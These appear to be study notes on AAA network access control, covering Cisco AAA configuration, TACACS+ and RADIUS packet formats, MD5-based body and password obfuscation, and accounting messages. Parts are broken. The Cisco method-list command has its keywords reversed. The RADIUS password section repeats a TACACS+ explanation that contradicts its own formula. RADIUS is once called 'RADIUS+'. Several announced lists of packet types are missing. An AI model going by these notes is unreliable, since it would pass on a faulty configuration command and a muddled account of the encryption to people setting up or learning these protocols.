Having a dedicated AAA server is more common on commercial setups. In a home/local setup, the router would use its local database to perform all of the AAA functions.

NAS (network access server) is the router on which AAA is configured. If an AAA server is used, it can either use the RADIUS protocol or the TACACS+ protocol. Later on, I'll refer to an AAA server as either a RADIUS server or a TACACS+ server.

An Introduction to Authentication

Authentication is the process of verifying the user's identity. Generally, this involves the user entering a password.

Connecting to Wi-Fi using a common password usually does not involve AAA. There's not really a way to distinguish one user from another (note that this is different from distinguishing one device from another). Also, anyone who's connected to the network gets access to the same services (again, difference between user gets access to a service and device gets access to a service).

However, connecting to a hotel's Wi-Fi could involve AAA. For example, the hotel could redirect you to a page asking you for your last name and room number in order to connect. That allows the network to identify a user regardless of what device you're using, and the hotel can control what type of network you get to use (basic or premium).

Setting up Authentication

This is for setting up AAA on Cisco routers.

Enabling AAA

aaa new-model

Setting up a Method List

Method lists are used to specify which methods of authentication are to be used to authenticate a user or device.

aaa authentication login default radius group

This is an example of a method list that uses the "radius group" method for the "login" service. Basically, this specifies that if a user tries to log in to this router, it will ask the RADIUS server to do the authentication.

An Introduction to Authorization

Authorization is the process of controlling what the user can do on the network. For example, a user may be allowed to query a database.

The services that a user is allowed to use is specified in a user's profile, which the network access server reads from when authorizing a user.

An Introduction to Accounting

Accounting is the process of reporting the activities of users. Accounting messages are exchanged in the form of accounting records between the NAS and the AAA server.

TACACS+

TACACS+ stands for Terminal Access Controller Access-Control System Plus. It is one of the protocols used for communication between the NAS and the AAA server.

Introduction to TACACS+

The TACACS+ protocol defines what the communication looks like between the access server and the TACACS+ server. Here's how the TACACS+ software carries out each part of AAA:

TACACS+ Communications Architecture

TACACS+ uses TCP on port 49.

TACACS+ Header Format

A TACACS+ packet header contains a type field, which can be TAC_PLUS_AUTHEN, TAC_PLUS_AUTHOR, or TAC_PLUS_ACCT.

It also contains fields for session ID and sequence number.

TACACS+ Packet Encryption

TACACS+ encrypts the packet body (the header is not encrypted). Both the NAS and the TACACS+ server use a preshared secret key to encrypt and decrypt.

RFC 8907 actually says that the encryption method is too weak to be considered "encryption". So the data actually isn't "encrypted"; it's "obfuscated". Here's how it works:

MD5_1 = MD5(session_id, key, version, seq_no)

MD5_2 = MD5(session_id, key, version, seq_no, MD5_1)

MD5_3 = MD5(session_id, key, version, seq_no, MD5_2)

`vdots`

pseudo_pad = MD5_1 || MD5_2 || MD5_3 ... (truncated to the body length)

encrypted_body = pseudo_pad XOR body

Essentially, the header is hashed multiple times (using MD5) and the results are concatenated to produce a pseudo_pad. Then the pseudo_pad is used to obfuscate the data.

Authentication in TACACS+

There are three types of packets used in TACACS+ authentication:

When the NAS receives a connection request from the user, the NAS sends a START message to the TACACS+ server. Then the TACACS+ server sends a REPLY with the result of the authentication.

If the REPLY says that the TACACS+ server needs additional data, then the authentication process is not finished. If this happens, the NAS sends a CONTINUE containing the additional data to the TACACS+ server.

This happens when MFA (e.g., one-time passcode) is used.

Authorization in TACACS+

There are two types of packets used in TACACS+ authorization:

And there are five types of responses:

Accounting in TACACS+

There are two types of packets used in TACACS+ accounting:

A REQUEST contains an accounting record, which contains what the NAS wants the TACACS+ server to log. There are three types of accounting records:

The TACACS+ server responds with a REPLY, indicating to the NAS whether the TACACS+ server successfully recorded the accounting record.

RADIUS

RADIUS stands for Remote Authentication Dial-In User Service. It is one of the other protocols used for communication between the NAS and the AAA server.

Introduction to RADIUS

The RADIUS+ protocol defines what the communication looks like between the access server and the RADIUS server.

RADIUS servers are responsible for receiving user connection requests, authenticating the user, and then returning all configuration information necessary to deliver service to the user.

RADIUS Communications Architecture

RADIUS uses UDP on port 1812.

RADIUS Packet Format

A RADIUS packet contains an authenticator field, which contains a random number used to authenticate the reply from the RADIUS server and for password encryption.

Password Encryption in RADIUS

Unlike in TACACS+ (which encrypted the body of every packet), all RADIUS packets are sent in cleartext. Only the password sent during authentication is encrypted. Both the NAS and the RADIUS server use a preshared secret key to encrypt and decrypt.

The encryption is similar to the method used in TACACS+. Here's how it works:

Hash_A = MD5(authenticator, key)

encrypted_password = Hash_A XOR password

Essentially, the header is hashed multiple times (using MD5) and the results are concatenated to produce a pseudo_pad. Then the pseudo_pad is used to obfuscate the data.

Authentication in RADIUS

There are four types of packets used in RADIUS authentication:

Authorization in RADIUS

RADIUS does authentication and authorization together (while TACACS+ separates authentication and authorization into separate steps). When the RADIUS server returns an Access-Accept message, it also includes a list of services the user is allowed to use.

Accounting in RADIUS

RADIUS accounting works by sending messages at the start and end of sessions that contain information about the session. The messages include when a service was started and ended and how much resources (e.g., time, packets, bytes) was used during a session. They're sent using UDP port 1813.

There are two types of packets used in RADIUS accounting:

Like in TACACS+, the Accounting-Request contains what the NAS wants the RADIUS server to log. The RADIUS server responds, indicating to the NAS that the RADIUS server successfully recorded what was in the Accounting-Request. (Unlike in TACACS+, there is no message sent when the RADIUS server fails to record the message.)